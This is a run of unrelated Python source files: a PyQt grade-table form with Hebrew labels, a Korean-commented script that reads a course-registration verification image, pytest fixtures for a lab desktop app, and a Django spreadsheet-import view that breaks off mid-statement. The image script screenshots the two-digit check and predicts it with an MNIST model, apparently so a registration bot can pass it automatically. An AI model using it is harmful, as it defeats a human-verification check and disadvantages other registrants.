self.gridLayout.addLayout(self.horizontalLayout, 0, 1, 1, 1) self.horizontalLayout_6 = QtWidgets.QHBoxLayout() self.horizontalLayout_6.setObjectName("horizontalLayout_6") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_6.addItem(spacerItem1) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_6.addItem(spacerItem2) self.semester_table_add_line = QtWidgets.QPushButton(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_table_add_line.sizePolicy().hasHeightForWidth()) self.semester_table_add_line.setSizePolicy(sizePolicy) self.semester_table_add_line.setLayoutDirection(QtCore.Qt.LeftToRight) self.semester_table_add_line.setText("") icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap("images/list-add.svg"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.semester_table_add_line.setIcon(icon) self.semester_table_add_line.setIconSize(QtCore.QSize(32, 32)) self.semester_table_add_line.setObjectName("semester_table_add_line") self.horizontalLayout_6.addWidget(self.semester_table_add_line) self.semester_table_remove_line = QtWidgets.QPushButton(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.semester_table_remove_line.sizePolicy().hasHeightForWidth()) self.semester_table_remove_line.setSizePolicy(sizePolicy) self.semester_table_remove_line.setLayoutDirection(QtCore.Qt.LeftToRight) self.semester_table_remove_line.setText("") icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap("images/list-remove.svg"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.semester_table_remove_line.setIcon(icon1) self.semester_table_remove_line.setIconSize(QtCore.QSize(32, 32)) self.semester_table_remove_line.setObjectName("semester_table_remove_line") self.horizontalLayout_6.addWidget(self.semester_table_remove_line) spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_6.addItem(spacerItem3) self.gridLayout.addLayout(self.horizontalLayout_6, 1, 0, 1, 1) self.courses_table = QtWidgets.QTableWidget(Form) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.courses_table.sizePolicy().hasHeightForWidth()) self.courses_table.setSizePolicy(sizePolicy) self.courses_table.setMouseTracking(True) self.courses_table.setLayoutDirection(QtCore.Qt.RightToLeft) self.courses_table.setObjectName("courses_table") self.courses_table.setColumnCount(6) self.courses_table.setRowCount(5) item = QtWidgets.QTableWidgetItem() self.courses_table.setVerticalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setVerticalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setVerticalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setVerticalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setVerticalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() self.courses_table.setHorizontalHeaderItem(5, item) self.courses_table.horizontalHeader().setVisible(True) self.courses_table.horizontalHeader().setCascadingSectionResizes(False) self.courses_table.horizontalHeader().setSortIndicatorShown(True) self.courses_table.horizontalHeader().setStretchLastSection(False) self.courses_table.verticalHeader().setVisible(False) self.courses_table.verticalHeader().setCascadingSectionResizes(True) self.courses_table.verticalHeader().setStretchLastSection(False) self.horizontalLayout.addWidget(self.courses_table) self.gridLayout.addWidget(self.courses_table, 0, 0, 1, 1) self.semester_add_course = QtWidgets.QPushButton(Form) font = QtGui.QFont() font.setPointSize(12) font.setBold(False) font.setItalic(False) font.setWeight(50) self.semester_add_course.setFont(font) self.semester_add_course.setObjectName("semester_add_course") self.gridLayout.addWidget(self.semester_add_course, 2, 0, 1, 1) self.courses_table.setSortingEnabled(True) self.not_show = False self.courses_table.setMouseTracking(False) self.courses_table.setSortingEnabled(False) for row in range(0, self.courses_table.rowCount()): item1 = QtWidgets.QTableWidgetItem() item2 = QtWidgets.QTableWidgetItem() self.courses_table.setItem(row, 0, item1) self.courses_table.setCellWidget(row, 0, createComboBox()) self.courses_table.setItem(row, self.courses_table.columnCount() - 1, item2) self.courses_table.setCellWidget(row, self.courses_table.columnCount() - 1, createRemoveLineButton(str(row))) for column in range(1, self.courses_table.columnCount() - 1): item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) self.courses_table.setItem(row, column, item) if column >= 3: if column == 3: spin_box = QtWidgets.QDoubleSpinBox() spin_box.setDecimals(1) spin_box.setSingleStep(0.5) else: spin_box = QtWidgets.QSpinBox() spin_box.setSingleStep(1) spin_box.setRange(0, 100) spin_box.setAlignment(QtCore.Qt.AlignCenter) spin_box.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) self.courses_table.setCellWidget(row, column, spin_box) self.courses_table.horizontalHeader().setSectionResizeMode( QtWidgets.QHeaderView.Stretch) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): _translate = QtCore.QCoreApplication.translate Form.setWindowTitle(_translate("Form", "Form")) self.semester_average_label.setText(_translate("Form", "ממוצע: ")) self.semester_points_label.setText(_translate("Form", "מס\' נק\"ז:")) self.semester_table_add_line.setToolTip(_translate("Form", "

    הוסף שורה

    ")) self.semester_table_remove_line.setToolTip(_translate("Form", "

    הסר שורה

    ")) self.courses_table.setSortingEnabled(False) item = self.courses_table.verticalHeaderItem(0) item.setText(_translate("Form", "New Row")) item = self.courses_table.verticalHeaderItem(1) item.setText(_translate("Form", "New Row")) item = self.courses_table.verticalHeaderItem(2) item.setText(_translate("Form", "New Row")) item = self.courses_table.verticalHeaderItem(3) item.setText(_translate("Form", "New Row")) item = self.courses_table.verticalHeaderItem(4) item.setText(_translate("Form", "New Row")) item = self.courses_table.horizontalHeaderItem(0) item.setText(_translate("Form", "קטגוריה")) item = self.courses_table.horizontalHeaderItem(1) item.setText(_translate("Form", "מספר קורס")) item = self.courses_table.horizontalHeaderItem(2) item.setText(_translate("Form", "שם קורס")) item = self.courses_table.horizontalHeaderItem(3) item.setText(_translate("Form", "נק\"ז")) item = self.courses_table.horizontalHeaderItem(4) item.setText(_translate("Form", "ציון")) self.semester_add_course.setText(_translate("Form", "חפש קורס")) def createComboBox(): combo_box = QtWidgets.QComboBox() combo_box.setFocusPolicy(QtCore.Qt.StrongFocus) combo_box.setLayoutDirection(QtCore.Qt.RightToLeft) combo_box.addItem("חובה") combo_box.addItem("רשימה א") combo_box.addItem("רשימה ב") combo_box.addItem("פרוייקט") combo_box.addItem("מל\"ג") combo_box.addItem("ספורט") combo_box.addItem("חופשי") combo_box.addItem("פטור") combo_box.setEditable(True) combo_box.lineEdit().setAlignment(QtCore.Qt.AlignCenter) combo_box.lineEdit().setReadOnly(True) return combo_box def createRemoveLineButton(line): semester_table_remove_line = QtWidgets.QPushButton() sizePolicy = QtWidgets.QSizePolicy( QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth( semester_table_remove_line.sizePolicy().hasHeightForWidth()) semester_table_remove_line.setSizePolicy(sizePolicy) semester_table_remove_line.setLayoutDirection( QtCore.Qt.LeftToRight) semester_table_remove_line.setText("") icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap("images/row-clean.svg"), QtGui.QIcon.Normal, QtGui.QIcon.Off) semester_table_remove_line.setIcon(icon1) semester_table_remove_line.setIconSize(QtCore.QSize(32, 32)) semester_table_remove_line.setObjectName( line) _translate = QtCore.QCoreApplication.translate semester_table_remove_line.setToolTip( _translate( "Form", "

    איפוס שורה

    " )) return semester_table_remove_line image_processing.py import math from io import BytesIO import cv2 import numpy as np from scipy import ndimage from mnist import load_model # 수강신청 확인문자 이미지를 읽어서 해당 숫자 리턴. def get_number_from_image(driver): # 현재 화면 캡쳐 screenshot = BytesIO(driver.get_screenshot_as_png()) # 이미지의 위치, 크기 가져와서 스크린샷에서 이미지 crop location, size = _get_image_location_and_size(driver) img = _crop_screenshot(screenshot, location, size) preprocessed_img = _preprocess_image(img) # 자릿수별로 이미지 나눈 후 한 자리씩 예측한 후 결과값 리턴 tens, ones = _divide_image(img, preprocessed_img) return _predict_double_digits(tens, ones) # 이미지 위치와 크기 리턴. def _get_image_location_and_size(driver): element = driver.find_element_by_class_name("num") location = element.location size = element.size return (location, size) # 수강신청 확인문자를 이미지로 변환 후 메모리에 저장 def _crop_screenshot(screenshot, location, size): img = cv2.imdecode(np.frombuffer(screenshot.read(), np.uint8), 1) left = location["x"] top = location["y"] right = location["x"] + size["width"] bottom = location["y"] + size["height"] return img[top:bottom, left:right] # 이미지 전처리 def _preprocess_image(img): # 그레이스케일로 변환 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 이진화 처리 gray = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1] # Contour를 위해 흑백 반전 gray_inverse = cv2.bitwise_not(gray) return gray_inverse # 2자릿수 숫자의 이미지를 한 자릿수 숫자 2개의 이미지로 분리 def _divide_image(img, preprocessed_img): # findContours 함수를 이용해서 숫자 범위들 찾기. contours, hierachy = cv2.findContours(preprocessed_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) img_locations = _get_img_locations(contours) # 좌표값들 변환 loc_tens, loc_ones = img_locations[0], img_locations[1] tens_x, tens_y, tens_w, tens_h = loc_tens.get("x"), loc_tens.get("y"), loc_tens.get("w"), loc_tens.get("h") ones_x, ones_y, ones_w, ones_h = loc_ones.get("x"), loc_ones.get("y"), loc_ones.get("w"), loc_ones.get("h") # 이미지 나누기 tens = preprocessed_img[tens_y:tens_y+tens_h, tens_x:tens_x+tens_w] ones = preprocessed_img[ones_y:ones_y+ones_h, ones_x:ones_x+ones_w] # MNIST 이미지들과 동일하게 28x28 이미지로 변환. resized_tens = cv2.resize(tens, (28, 28), interpolation=cv2.INTER_CUBIC) resized_ones = cv2.resize(ones, (28, 28), interpolation=cv2.INTER_CUBIC) # 예측 정확도를 높이기 위해 패딩 적용해서 숫자 가운데 위치 padded_tens = _add_padings(tens) padded_ones = _add_padings(ones) return (padded_tens, padded_ones) # 이미지들의 좌표 얻기 def _get_img_locations(contours): image_locations = [] # cnt 순서가 왼쪽->오른쪽 순서로 항상 보장이 되지 않기 때문에 x 좌표값을 체크해서 순서 정해줌. for cnt in contours: # 찾은 Contour들의 직사각형 그리기 x, y, w, h = cv2.boundingRect(cnt) location = {"x": x, "y": y, "w": w, "h": h} # 너무 작은 값은 무시하도록 높이가 8px 이상일 때만 저장. if h >= 8: if not image_locations or image_locations[0].get("x") < x: image_locations.append(location) else: image_locations.insert(0, location) return image_locations # MNIST 이미지 형식에 맞게 이미지에 패딩 추가 def _add_padings(img): rows, cols = img.shape if rows > cols: factor = 20.0 / rows rows, cols = 20, int(round(cols * factor)) else: factor = 20.0 / cols rows, cols = int(round(rows * factor)), 20 img = cv2.resize(img, (cols, rows)) rows_padding = (int(math.ceil((28 - rows) / 2.0)), int(math.floor((28 - rows) / 2.0))) cols_padding = (int(math.ceil((28 - cols) / 2.0)), int(math.floor((28 - cols) / 2.0))) img = np.lib.pad(img, (rows_padding, cols_padding), "constant") shift_x, shift_y = _get_best_shift(img) return _shift(img, shift_x, shift_y) # 이미지가 이동할 값 리턴 def _get_best_shift(img): cy, cx = ndimage.measurements.center_of_mass(img) rows, cols = img.shape shift_x = np.round(cols/2.0 - cx).astype(int) shift_y = np.round(rows/2.0 - cy).astype(int) return (shift_x, shift_y) # 이미지 이동 def _shift(img, shift_x, shift_y): rows, cols = img.shape M = np.float32([[1, 0, shift_x], [0, 1, shift_y]]) return cv2.warpAffine(img, M, (cols, rows)) # 숫자 이미지 2개 예측 후 2자릿수 스트링으로 리턴. def _predict_double_digits(tens, ones): flatted_tens = tens.reshape(-1, 28*28) / 255.0 flatted_ones = ones.reshape(-1, 28*28) / 255.0 # 모델 로드 후 예측 model = load_model() tens_prediction, ones_prediction = np.argmax(model.predict(flatted_tens)), np.argmax(model.predict(flatted_ones)) prediction = str(tens_prediction) + str(ones_prediction) return prediction CuriBio/mantarray-desktop-app # -*- coding: utf-8 -*- from multiprocessing import Queue as MPQueue import os from shutil import copy import tempfile import threading import time from time import perf_counter from time import sleep from typing import Any from typing import Dict from typing import List from typing import Optional from mantarray_desktop_app import clear_server_singletons from mantarray_desktop_app import clear_the_server_manager from mantarray_desktop_app import DataAnalyzerProcess from mantarray_desktop_app import FileWriterProcess from mantarray_desktop_app import get_api_endpoint from mantarray_desktop_app import get_server_port_number from mantarray_desktop_app import main from mantarray_desktop_app import MantarrayProcessesManager from mantarray_desktop_app import MantarrayQueueContainer from mantarray_desktop_app import OkCommunicationProcess from mantarray_desktop_app import process_manager from mantarray_desktop_app import queue_container from mantarray_desktop_app import START_MANAGED_ACQUISITION_COMMUNICATION import pytest import requests from stdlib_utils import confirm_port_available from stdlib_utils import confirm_port_in_use from stdlib_utils import get_current_file_abs_directory from stdlib_utils import is_port_in_use from stdlib_utils import resource_path from stdlib_utils import TestingQueue PATH_TO_CURRENT_FILE = get_current_file_abs_directory() QUEUE_CHECK_TIMEOUT_SECONDS = 1.3 # for is_queue_eventually_of_size, is_queue_eventually_not_empty, is_queue_eventually_empty, put_object_into_queue_and_raise_error_if_eventually_still_empty, etc. # Eli (10/28/20) issue encountered where even 0.5 seconds was insufficient, so raising to 1 second # Eli (12/10/20) issue encountered where 1.1 second was not enough, so now 1.2 seconds # Eli (12/15/20): issue in test_ServerManager_start__puts_error_into_queue_if_flask_run_raises_error in Windows Github where 1.2 was not enough, so now 1.3 GENERIC_MAIN_LAUNCH_TIMEOUT_SECONDS = 20 def generate_board_and_error_queues(num_boards: int = 4, queue_type=MPQueue): error_queue = queue_type() board_queues = tuple( ( ( queue_type(), queue_type(), queue_type(), ) for _ in range(num_boards) ) ) return board_queues, error_queue @pytest.fixture(scope="function", name="generic_queue_container") def fixture_generic_queue_container(): qc = MantarrayQueueContainer() yield qc # don't drain any queues in this fixture. Tests should drain queues themselves in order to avoid BrokenPipeErrors @pytest.fixture(scope="function", name="patch_print") def fixture_patch_print(mocker): mocker.patch("builtins.print", autospec=True) # don't print all the error messages to console @pytest.fixture(scope="function", name="fully_running_app_from_main_entrypoint") def fixture_fully_running_app_from_main_entrypoint(mocker): mocked_configure_logging = mocker.patch.object(main, "configure_logging", autospec=True) dict_to_yield = ( {} ) # Declare the dictionary up here so that the thread can be accessed after the yield even though it is declared inside the subfunction def _foo(command_line_args: Optional[List[str]] = None): if command_line_args is None: command_line_args = [] thread_access_inside_main: Dict[str, Any] = dict() main_thread = threading.Thread( target=main.main, args=[command_line_args], kwargs={"object_access_for_testing": thread_access_inside_main}, ) main_thread.start() # if just testing main script, just wait for it to complete. Otherwise, wait until server is up and running if "--debug-test-post-build" in command_line_args: raise NotImplementedError( "fully_running_app_from_main_entrypoint currently does not except '--debug-test-post-build' in cmd line args" ) if "--startup-test-options" in command_line_args: mocked_socketio_run = mocker.patch.object(main.socketio, "run", autospec=True) dict_to_yield["mocked_socketio_run"] = mocked_socketio_run while main_thread.is_alive(): time.sleep(0.5) else: time.sleep(1) # wait for the server to initialize so that the port number could be updated confirm_port_in_use(get_server_port_number(), timeout=4) # wait for server to boot up dict_to_yield["main_thread"] = main_thread dict_to_yield["mocked_configure_logging"] = mocked_configure_logging dict_to_yield["object_access_inside_main"] = thread_access_inside_main return dict_to_yield yield _foo # some tests may perform the shutdown on their own to assert things about the shutdown behavior. So only attempt shutdown if server is still running. if is_port_in_use(get_server_port_number()): try: response = requests.get(f"{get_api_endpoint()}shutdown") assert response.status_code == 200 except requests.exceptions.ConnectionError: # Tanner (6/21/21): sometimes the server takes a few seconds to shut down, so guard against case where it shuts down before processing this request pass dict_to_yield["main_thread"].join() confirm_port_available(get_server_port_number(), timeout=5) # clean up singletons clear_server_singletons() @pytest.fixture(scope="function", name="test_process_manager_creator") def fixture_test_process_manager_creator(mocker): object_access_dict = {} def _foo(beta_2_mode=False, create_processes=True, use_testing_queues=False): if use_testing_queues: def get_testing_queue(): return TestingQueue() mocker.patch.object(queue_container, "Queue", autospec=True, side_effect=get_testing_queue) with tempfile.TemporaryDirectory() as tmp_dir: manager = MantarrayProcessesManager( file_directory=tmp_dir, values_to_share_to_server={"beta_2_mode": beta_2_mode} ) if use_testing_queues: mocker.patch.object( manager, "start_processes", autospec=True, side_effect=NotImplementedError( "Cannot start processes when using a process_manager fixture setup with TestingQueues" ), ) if create_processes: manager.create_processes() object_access_dict["fw_process"] = manager.get_file_writer_process() return manager yield _foo fw_process = object_access_dict.get("fw_process", None) if fw_process is not None and not fw_process.is_alive(): # Eli (2/10/20): it is important in windows based systems to make sure to close the files before deleting them. be careful about this when running tests in a Linux development environment fw_process.close_all_files() # clean up the server singleton clear_the_server_manager() def start_processes_and_wait_for_start_ups_to_complete( test_manager: MantarrayProcessesManager, ) -> None: timeout_seconds = 12 test_manager.start_processes() start_time = perf_counter() while True: sleep(0.5) if test_manager.are_subprocess_start_ups_complete(): return if perf_counter() - start_time > timeout_seconds: raise Exception(f"Subprocesses were not started within the timeout of {timeout_seconds} seconds") @pytest.fixture(scope="function", name="patch_subprocess_joins") def fixture_patch_subprocess_joins(mocker): mocker.patch.object(OkCommunicationProcess, "join", autospec=True) mocker.patch.object(FileWriterProcess, "join", autospec=True) mocker.patch.object(DataAnalyzerProcess, "join", autospec=True) @pytest.fixture(scope="function", name="patch_subprocess_is_stopped_to_false") def fixture_patch_subprocess_is_stopped_to_false(mocker): mocker.patch.object(OkCommunicationProcess, "is_stopped", autospec=True, return_value=False) mocker.patch.object(FileWriterProcess, "is_stopped", autospec=True, return_value=False) mocker.patch.object(DataAnalyzerProcess, "is_stopped", autospec=True, return_value=False) @pytest.fixture(scope="function", name="patched_test_xem_scripts_folder") def fixture_patched_test_xem_scripts_folder(): relative_path = "src" absolute_path = os.path.dirname(PATH_TO_CURRENT_FILE) src_path = os.path.join(absolute_path, relative_path) real_path = os.path.join(src_path, "xem_scripts") tmp_path = os.path.join(src_path, "tmp_xem_scripts") os.rename(real_path, tmp_path) os.mkdir(real_path) test_start_cal_path = resource_path(os.path.join("test_xem_scripts", "xem_test_script.txt")) copy(test_start_cal_path, os.path.join(real_path, "xem_test_script.txt")) yield real_path, tmp_path for file in os.listdir(real_path): file_path = os.path.join(real_path, file) os.remove(file_path) os.rmdir(real_path) os.rename(tmp_path, real_path) @pytest.fixture(scope="function", name="patched_xem_scripts_folder") def fixture_patched_xem_scripts_folder(): relative_path = "src" absolute_path = os.path.dirname(PATH_TO_CURRENT_FILE) src_path = os.path.join(absolute_path, relative_path) real_path = os.path.join(src_path, "xem_scripts") tmp_path = os.path.join(src_path, "tmp_xem_scripts") os.rename(real_path, tmp_path) os.mkdir(real_path) test_start_up_path = resource_path(os.path.join("test_xem_scripts", "xem_test_start_up.txt")) copy(test_start_up_path, os.path.join(real_path, "xem_start_up.txt")) test_start_cal_path = resource_path(os.path.join("test_xem_scripts", "xem_test_start_calibration.txt")) copy(test_start_cal_path, os.path.join(real_path, "xem_start_calibration.txt")) yield real_path, tmp_path for file in os.listdir(real_path): file_path = os.path.join(real_path, file) os.remove(file_path) os.rmdir(real_path) os.rename(tmp_path, real_path) @pytest.fixture(scope="function", name="patched_short_calibration_script") def fixture_patched_short_calibration_script(): # Tanner (6/29/20): This fixture should only be used in tests that don't rely on the actual read_wire_outs providing the ADC offset values relative_path = "src" absolute_path = os.path.dirname(PATH_TO_CURRENT_FILE) src_path = os.path.join(absolute_path, relative_path) real_path = os.path.join(src_path, "xem_scripts") tmp_path = os.path.join(src_path, "tmp_xem_scripts") os.rename(real_path, tmp_path) os.mkdir(real_path) test_short_cal_path = resource_path(os.path.join("test_xem_scripts", "xem_test_short_calibration.txt")) copy(test_short_cal_path, os.path.join(real_path, "xem_start_calibration.txt")) yield real_path, tmp_path for file in os.listdir(real_path): file_path = os.path.join(real_path, file) os.remove(file_path) os.rmdir(real_path) os.rename(tmp_path, real_path) @pytest.fixture(scope="function", name="patched_firmware_folder") def fixture_patched_firmware_folder(mocker): patched_firmware = "test_2_3_4.bit" patched_firmware_path = resource_path( os.path.join(PATH_TO_CURRENT_FILE, "test_firmware", patched_firmware) ) mocker.patch.object( process_manager, "get_latest_firmware", autospec=True, return_value=patched_firmware_path, ) yield patched_firmware_path def get_mutable_copy_of_START_MANAGED_ACQUISITION_COMMUNICATION(): return dict(START_MANAGED_ACQUISITION_COMMUNICATION) test/framework/hyperspeed_test.py10-100 # Copyright (c) 2012 - 2015 , Hupfeldt IT # All rights reserved. This work is under a BSD license, see LICENSE.TXT. import time import pytest from ..cfg import ApiType from .hyperspeed import HyperSpeed def test_hyperspeed_speedup(): hs = HyperSpeed(1000) assert hs.speedup == 1000 @pytest.mark.apis(ApiType.MOCK) def test_hyperspeed_mocked_time(): hs = HyperSpeed(1000) time.sleep(0.001) assert hs.time() > time.time() @pytest.mark.apis(ApiType.MOCK) def test_hyperspeed_mocked_sleep(): hs = HyperSpeed(1000) before = time.time() hs.sleep(1) after = time.time() assert after - before < 1 from django.contrib.auth.decorators import login_required from django.views.generic import View from django.contrib import messages from django.http.response import JsonResponse from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.core.urlresolvers import reverse_lazy from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404, render from django.template import RequestContext from django.db import transaction from django.contrib.postgres.fields import ArrayField, JSONField from global_finprint.trip.models import Trip from global_finprint.bruv.models import Equipment from ..models import Set, BenthicCategoryValue, EnvironmentMeasure, Bait, Video from ..forms import SetForm, EnvironmentMeasureForm, \ SetSearchForm, SetLevelCommentsForm, SetLevelDataForm, SetBulkUploadForm, SetCustomFieldsForm from ...annotation.forms import VideoForm from ...annotation.models.video import VideoFile from ...habitat.models import ReefHabitat, Reef, ReefType from ...core.mixins import UserAllowedMixin from boto import exception as BotoException from boto.s3.connection import S3Connection from django.conf import settings from openpyxl import load_workbook from io import BytesIO from zipfile import BadZipFile from datetime import datetime import json import pickle # deprecated: @login_required def set_detail(request, pk): s = Set.objects.get(pk=pk) data = {'id': str(s.id), 'name': str(s), 'drop_time': s.drop_time.isoformat(), 'haul_time': s.haul_time.isoformat() if s.haul_time else None, 'equipment': str(s.equipment), 'depth': s.depth, 'reef_habitat': str(s.reef_habitat)} return JsonResponse(data) class BulkImportError(Exception): pass class SetBulkUploadView(UserAllowedMixin, View): template = 'pages/sets/bulk_upload.html' def get(self, request, **kwargs): return HttpResponseRedirect(reverse_lazy('trip_set_list', args=[kwargs.get('trip_pk', None)])) def post(self, request, **kwargs): trip_id = kwargs.get('trip_pk', None) error_message = '' form = SetBulkUploadForm(request.POST, request.FILES, trip_id=trip_id) if not form.is_valid(): invalid_url = reverse_lazy('trip_set_list', args=[trip_id]) messages.error(request, 'Invalid bulk upload form') return HttpResponseRedirect(invalid_url) file = request.FILES['set_file'] sheet_context = '' try: workbook = load_workbook(BytesIO(file.read()), read_only=True) set_sheet = workbook.get_sheet_by_name('Set') env_sheet = workbook.get_sheet_by_name('Environment') if not list(set_sheet.rows)[1:] and not list(env_sheet.rows)[1:]: raise BulkImportError('Bulk upload spreadsheets are empty.') with transaction.atomic(): trip_dict = dict(Trip.objects.values_list('code', 'id')) bait_dict = dict((str(b), b.id) for b in Bait.objects.all()) equipment_dict = dict((str(e), e.id) for e in Equipment.objects.all()) reef_dict = dict((u'{}|{}'.format(r.site.name, r.name), r.id) for r in Reef.objects.all()) habitat_dict = dict((str(h), h.id) for h in ReefType.objects.all()) set_fields = [ 'trip_code', 'set_code', 'date', 'latitude', 'longitude', 'depth', 'drop_time', 'haul_time', 'site', 'reef', 'habitat', 'equipment', 'bait', 'visibility', 'current_flow_estimated', 'current_flow_instrumented', 'video_file_name', 'video_source', 'video_path', 'comment' ] set_fields_dict = dict((cell.value, n) for n, cell in enumerate(list(set_sheet.rows)[0]) if cell.value in set_fields) env_fields = [ 'trip_code', 'set_code', 'drop_haul', 'temp', 'salinity', 'conductivity', 'dissolved_oxygen', 'current_direction', 'tide_state', 'estimated_wind_speed', 'measured_wind_speed', 'wind_direction', 'cloud_cover', 'surface_chop' ] env_fields_dict = dict((cell.value, n) for n, cell in enumerate(list(env_sheet.rows)[0]) if cell.value in env_fields) sheet_context = 'set' for i, row in enumerate(list(set_sheet.rows)[1:]): if row[0].value is None: if i == 0: # there are default values in row 2 or there's some data further # down in the sheet but row 2 is mysteriously empty ... raise BulkImportError('Bulk upload spreadsheet is empty.') else: break # todo: check for required fields? new_video = Video() new_video.save() if row[set_fields_dict['video_file_name']].value is not None: new_video_file = VideoFile( file=row[set_fields_dict['video_file_name']].value.strip(), source=('S3' if row[set_fields_dict['video_source']].value is None else row[set_fields_dict['video_source']].value.strip()), path=('' if row[set_fields_dict['video_path']].value is None else row[set_fields_dict['video_path']].value.strip()), video=new_video, primary=True) new_video_file.save() new_drop = EnvironmentMeasure() new_drop.save() new_haul = EnvironmentMeasure() new_haul.save() new_set = Set( trip_id=trip_dict[ row[set_fields_dict['trip_code']].value if row[set_fields_dict['trip_code']].value is None else row[set_fields_dict['trip_code']].value.strip() ], code=( row[set_fields_dict['set_code']].value if row[set_fields_dict['set_code']].value is None else row[set_fields_dict['set_code']].value.strip() ), set_date=datetime.strptime(row[set_fields_dict['date']].value, '%d/%m/%Y'), latitude=row[set_fields_dict['latitude']].value, longitude=row[set_fields_dict['longitude']].value, depth=row[set_fields_dict['depth']].value, drop_time=row[set_fields_dict['drop_time']].value, haul_time=row[set_fields_dict['haul_time']].value, reef_habitat=ReefHabitat.get_or_create_by_id( reef_dict[ u'{}|{}'.format(row[set_fields_dict['site']].value if row[set_fields_dict['site']].value is None else row[set_fields_dict['site']].value.strip(), row[set_fields_dict['reef']].value if row[set_fields_dict['reef']].value is None else row[set_fields_dict['reef']].value.strip()) ], habitat_dict[ row[set_fields_dict['habitat']].value if row[set_fields_dict['habitat']].value is None else row[set_fields_dict['habitat']].value.strip() ] ), equipment_id=equipment_dict[ row[set_fields_dict['equipment']].value if row[set_fields_dict['equipment']].value is None else row[set_fields_dict['equipment']].value.strip() ], bait_id=bait_dict[ row[set_fields_dict['bait']].value if row[set_fields_dict['bait']].value is None else row[set_fields_dict['bait']].value.strip() ], visibility=row[set_fields_dict['visibility']].value, current_flow_estimated=('' if row[set_fields_dict['current_flow_estimated']].value is None else row[ set_fields_dict['current_flow_estimated']].value.strip().upper()), current_flow_instrumented=row[set_fields_dict['current_flow_instrumented']].value, comments=('' if row[set_fields_dict['comment']].value is None else row[set_fields_dict['comment']].value.strip()), video=new_video, drop_measure=new_drop, haul_measure=new_haul, bulk_loaded=True, ) new_set.save() sheet_context = 'environment measure' for i, row in enumerate(list(env_sheet.rows)[1:]): if row[0].value is None: break set = Set.objects.get(trip__code=( row[set_fields_dict['trip_code']].value if row[set_fields_dict['trip_code']].value is None else row[set_fields_dict['trip_code']].value.strip() ), code=( row[set_fields_dict['set_code']].value if row[set_fields_dict['set_code']].value is None else row[set_fields_dict['set_code']].value.strip() )) if row[env_fields_dict['drop_haul']].value is None: raise BulkImportError('drop_haul is missing.') elif row[env_fields_dict['drop_haul']].value.strip().lower() == 'drop': if set.drop_measure: env = set.drop_measure else: env = EnvironmentMeasure() env.save() set.drop_measure = env set.save() elif row[env_fields_dict['drop_haul']].value.strip().lower() == 'haul': if set.haul_measure: env = set.haul_measure else: env = EnvironmentMeasure() env.save() set.haul_measure = env set.save() else: raise BulkImportError('drop_haul needs to be "drop" or "haul"') env.water_temperature = row[env_fields_dict['temp']].value env.salinity = row[env_fields_dict['salinity']].value env.conductivity = row[env_fields_dict['conductivity']].value env.dissolved_oxygen = row[env_fields_dict['dissolved_oxygen']].value env.tide_state = ('' if row[env_fields_dict['tide_state']].value is None else row[ env_fields_dict['tide_state']].value.strip().upper()) # TODO choice field env.estimated_wind_speed = row[env_fields_dict['estimated_wind_speed']].value env.measured_wind_speed = row[env_fields_dict['measured_wind_speed']].value env.wind_direction = ('' if row[env_fields_dict['wind_direction']].value is None else row[ env_fields_dict['wind_direction']].value.strip().upper()) # TODO choice field env.cloud_cover = row[env_fields_dict['cloud_cover']].value env.surface_chop = ('' if row[env_fields_dict['surface_chop']].value is None else row[ env_fields_dict['surface_chop']].value.strip().upper()) # TODO choice field env.save() except BadZipFile: # xlsx is a zip file (for reals) error_message = 'Unexpected file format' except Exception as e: error_type = e.__class__.__name__ error_text = str(' '.join(e) if hasattr(e, '__iter__') else str(e)) if error_type == 'KeyError': # todo: KeyError is also raised when the worksheet does not exist. Can we call that our specifically? error_type = 'Value not found in lookup table' elif 